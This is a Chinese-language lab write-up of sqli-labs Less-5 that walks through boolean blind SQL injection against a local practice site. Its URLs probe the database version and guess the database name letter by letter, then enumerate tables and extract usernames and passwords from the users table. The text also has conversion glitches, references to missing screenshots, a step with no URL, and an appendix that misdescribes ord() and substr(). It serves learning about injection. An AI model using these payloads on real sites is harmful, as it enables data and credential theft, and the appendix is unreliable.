天天看點

sqli-labs-master第五關Less-5 Double Query- Single:方式一

由于第三四關和第一第二關大緻相同,我就不寫了。

接下來來寫第五關的第一種方式。

1,目标網站:

<a href="http://127.0.0.1/sqli-labs-master/Less-5/?id=1">http://127.0.0.1/sqli-labs-master/Less-5/?id=1</a>

當傳遞的ID為1的時候提示“you are in”

2,查找注入點:  

當輸入上面的url的時候就報錯了。我們可以從箭頭處看到報錯的原因。

說明把“1’”帶入資料庫查詢了,是以存在注入點

3,檢視版本資訊:

http://127.0.0.1/sqli-labs-master/Less-5/?id=1'  and left(version(),1)=5 %23

傳回正常

http://127.0.0.1/sqli-labs-master/Less-5/?id=1'  and left(version(),1)=4 %23

傳回錯誤 是以資料庫版本是5.0

4,判斷資料庫長度:

http://127.0.0.1/sqli-labs-master/Less-5/?id=1' and length(database())= 7 %23

傳回錯誤

http://127.0.0.1/sqli-labs-master/Less-5/?id=1' and length(database())= 8 %23

傳回正确

http://127.0.0.1/sqli-labs-master/Less-5/?id=1' and length(database())= 9 %23

是以資料庫的名稱是8位構成

5,猜測資料庫名稱(從第一位開始猜):

1&gt;猜第1位

http://127.0.0.1/sqli-labs-master/Less-5/?id=1' and left(database(),1)&gt;'a' %23

http://127.0.0.1/sqli-labs-master/Less-5/?id=1' and left(database(),1)&gt;'z' %23

說明第一位在a和z之間

http://127.0.0.1/sqli-labs-master/Less-5/?id=1' and left(database(),1)&gt;'s' %23

是以第一位是s

1&gt;猜第2位

http://127.0.0.1/sqli-labs-master/Less-5/?id=1' and left(database(),2)&gt;'sa' %23

http://127.0.0.1/sqli-labs-master/Less-5/?id=1' and left(database(),2)&gt;'sz' %23

說明第二位在a和z之間

http://127.0.0.1/sqli-labs-master/Less-5/?id=1' and left(database(),2)&gt;'se' %23

是以第二位是e

以此類推,直到推出第8位:最後資料庫為security

6,猜測資料庫(security)中的表:

http://127.0.0.1/sqli-labs-master/Less-5/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema = database() limit a,1)b,1))&gt;n

說明:

a是從0開始第幾個表,b是為第幾個字元,n是ASCII所對應的十進制數

7,猜使用者:

其中S 為資料庫名;M為表名;A為第幾個使用者;B為第幾個字元;N為ASCII碼所對應的十進制數。

8.猜使用者和密碼:

http://127.0.0.1/sqli-labs-master/Less-5/?id=1'  and ord(mid((select ifnull(cast(username as char),0x20)from S.Morder by id limit A,1),B,1))=N %23 

例:http://127.0.0.1/sqli-labs-master/Less-5/?id=1'  and ord(mid((select ifnull(cast(password as char),0x20)from security.users order by id limit 0,1),1,1))=68 %23

附錄:

substr()用于字元串加減

ord()将ASCLL碼值轉換為字元 示例: ord('a')表示a在ASSCLL碼中的序号,為97; ord('b')表示b在ASSCLL碼中的序号,為98; 

mid() :字元串截取函數

文法: mid(字元串,指定截取位數,截取N個)

示例

B6=123456789abcdef      =mid(B6,1,13)    結果= 123456789abcd    

IFNULL(expr1,expr2)  

如果 expr1 不是 NULL,IFNULL() 傳回 expr1,否則它傳回 expr2。

cast()函數:

參考部落格:http://www.studyofnet.com/news/109.html

(1).CAST()函數的參數是一個表達式,它包括用AS關鍵字分隔的源值和目标資料類型。以下例子用于将文本字元串'12'轉換為整型:

SELECT CAST('12' AS int)

(2).傳回值是整型值12。如果試圖将一個代表小數的字元串轉換為整型值,又會出現什麼情況呢?

SELECT CAST('12.5' AS int) 

(3).CAST()函數和CONVERT()函數都不能執行四舍五入或截斷操作。由于12.5不能用int資料類型來表示,是以對這個函數調用将産生一個錯誤:

微信公衆号

本文轉自 天道酬勤VIP 51CTO部落格,原文連結:http://blog.51cto.com/tdcqvip/2062354